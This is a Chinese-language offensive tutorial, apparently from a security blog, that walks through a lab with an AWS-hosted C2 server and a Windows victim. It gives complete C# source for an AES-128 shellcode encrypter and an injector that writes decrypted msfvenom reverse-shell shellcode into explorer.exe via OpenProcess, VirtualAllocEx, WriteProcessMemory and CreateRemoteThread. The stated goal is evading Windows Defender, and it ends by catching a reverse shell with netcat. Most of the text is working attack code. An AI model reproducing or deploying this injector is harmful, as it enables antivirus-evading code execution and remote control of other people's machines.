带有 Ubuntu Linux AMI 的 AWS EC2 作为攻击者 C2 服务器。
带有 Windows Server 2019 AMI 的 AWS EC2 作为受害者机器。
安装 Visual Studio 2022 社区的本地 Windows 10 计算机用于恶意软件开发和编译
本地 Kali Linux 攻击机。
Shellcode
注入是一种非常著名的技术,它包括插入/注入与位置无关的 Shellcode到指定的受害进程中最终执行它。这可以通过多种方式实现。请参阅下图,了解对众所周知的图片的一个很好的总结。
但是,对于本文,将讨论和演示以下方法:
使用Process.GetProcessByName
定位explorer
进程并获取其 PID
。
通过以 0x001F0FFF
访问权限的OpenProcess
打开explorer
进程。
通过VirtualAllocEx
在 explorer
进程中为 shellcode
分配内存。
通过WriteProcessMemory
在进程中写入shellcode
。
最后,创建一个线程,通过 CreateRemoteThread
执行位置无关 Shellcode
。
当然,拥有包含恶意 shellcode
的可执行文件将是一个非常糟糕的主意,因为它会立即被 Defender
标记。为了解决这个问题,将首先使用 AES-128 CBC
和 PKCS7
填充对 shellcode
进行加密,以隐藏其真实行为和组成,直到运行时(Defender
真的很弱)。
首先,需要生成初始 shellcode
。对于这个POC
,将使用来自 msfvenom
的简单 TCP
反向 shell。
一旦有了它,需要一种方法来加密它。为此,使用以下 C# 代码,但可以以其他方式(例如,cyberchef
)对其进行加密。
//Encrypter.csusing System;using System.IO;using System.Security.Cryptography;using System.Text;namespace AesEnc{ class Program { static void Main(string[] args) { byte[] buf = new byte[] { 0xfc,0x48,0x83, etc. }; byte[] Key = new byte[]{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F }; byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw=="); byte[] aesshell = EncryptShell(buf, Key, IV); StringBuilder hex = new StringBuilder(aesshell.Length * 2); int totalCount = aesshell.Length; foreach (byte b in aesshell) { if ((b + 1) == totalCount) { hex.AppendFormat("0x{0:x2}", b); } else { hex.AppendFormat("0x{0:x2}, ", b); } } Console.WriteLine(hex); } private static byte[] GetIV(int num) { var randomBytes = new byte[num]; using (var rngCsp = new RNGCryptoServiceProvider()) { rngCsp.GetBytes(randomBytes); } return randomBytes; } private static byte[] GetKey(int size) { char[] caRandomChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()".ToCharArray(); byte[] CKey = new byte[size]; using (RNGCryptoServiceProvider crypto = new RNGCryptoServiceProvider()) { crypto.GetBytes(CKey); } return CKey; } private static byte[] EncryptShell(byte[] CShellcode, byte[] key, byte[] iv) { using (var aes = Aes.Create()) { aes.KeySize = 128; aes.BlockSize = 128; aes.Padding = PaddingMode.PKCS7; aes.Mode = CipherMode.CBC; aes.Key = key; aes.IV = iv; using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV)) { return AESEncryptedShellCode(CShellcode, encryptor); } } } private static byte[] AESEncryptedShellCode(byte[] CShellcode, ICryptoTransform cryptoTransform) { using (var msEncShellCode = new MemoryStream()) using (var cryptoStream = new CryptoStream(msEncShellCode, cryptoTransform, CryptoStreamMode.Write)) { cryptoStream.Write(CShellcode, 0, CShellcode.Length); cryptoStream.FlushFinalBlock(); return msEncShellCode.ToArray(); } } }}
对上面把shellcode
放在buf
变量的代码进行编译和运行会产生用于注入程序使用的加密代码。
对于这个 PoC
,选择了 C#
作为注入器的语言,但可以使用任何其他支持 Win32 API
的语言(C/C++``、Rust
等)
最后,注入器的代码如下:
//Injector.csusing System;using System.Collections.Generic;using System.Linq;using System.IO;using System.Text;using System.Threading.Tasks;using System.Diagnostics;using System.Security.Cryptography;using System.Runtime.InteropServices;namespace AESInject{ class Program { [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] static extern IntPtr GetCurrentProcess(); static void Main(string[] args) { byte[] Key = new byte[]{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F }; byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw=="); byte[] buf = new byte[] { 0x2b, 0xc3, 0xb0, etc}; //your encrypted bytes here byte[] DShell = AESDecrypt(buf, Key, IV); StringBuilder hexCodes = new StringBuilder(DShell.Length * 2); foreach (byte b in DShell) { hexCodes.AppendFormat("0x{0:x2},", b); } int size = DShell.Length; Process[] expProc = Process.GetProcessesByName("explorer"); //feel free to choose other processes int pid = expProc[0].Id; IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid); IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40); IntPtr outSize; WriteProcessMemory(hProcess, addr, DShell, DShell.Length, out outSize); IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); } private static byte[] AESDecrypt(byte[] CEncryptedShell, byte[] key, byte[] iv) { using (var aes = Aes.Create()) { aes.KeySize = 128; aes.BlockSize = 128; aes.Padding = PaddingMode.PKCS7; aes.Mode = CipherMode.CBC; aes.Key = key; aes.IV = iv; using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV)) { return GetDecrypt(CEncryptedShell, decryptor); } } } private static byte[] GetDecrypt(byte[] data, ICryptoTransform cryptoTransform) { using (var ms = new MemoryStream()) using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write)) { cryptoStream.Write(data, 0, data.Length); cryptoStream.FlushFinalBlock(); return ms.ToArray(); } } }}
最后,在攻击者/C2 机器上使用 netcat
设置一个监听器,并在受害者机器上执行 Injector
:
执行注入器
获取反向shell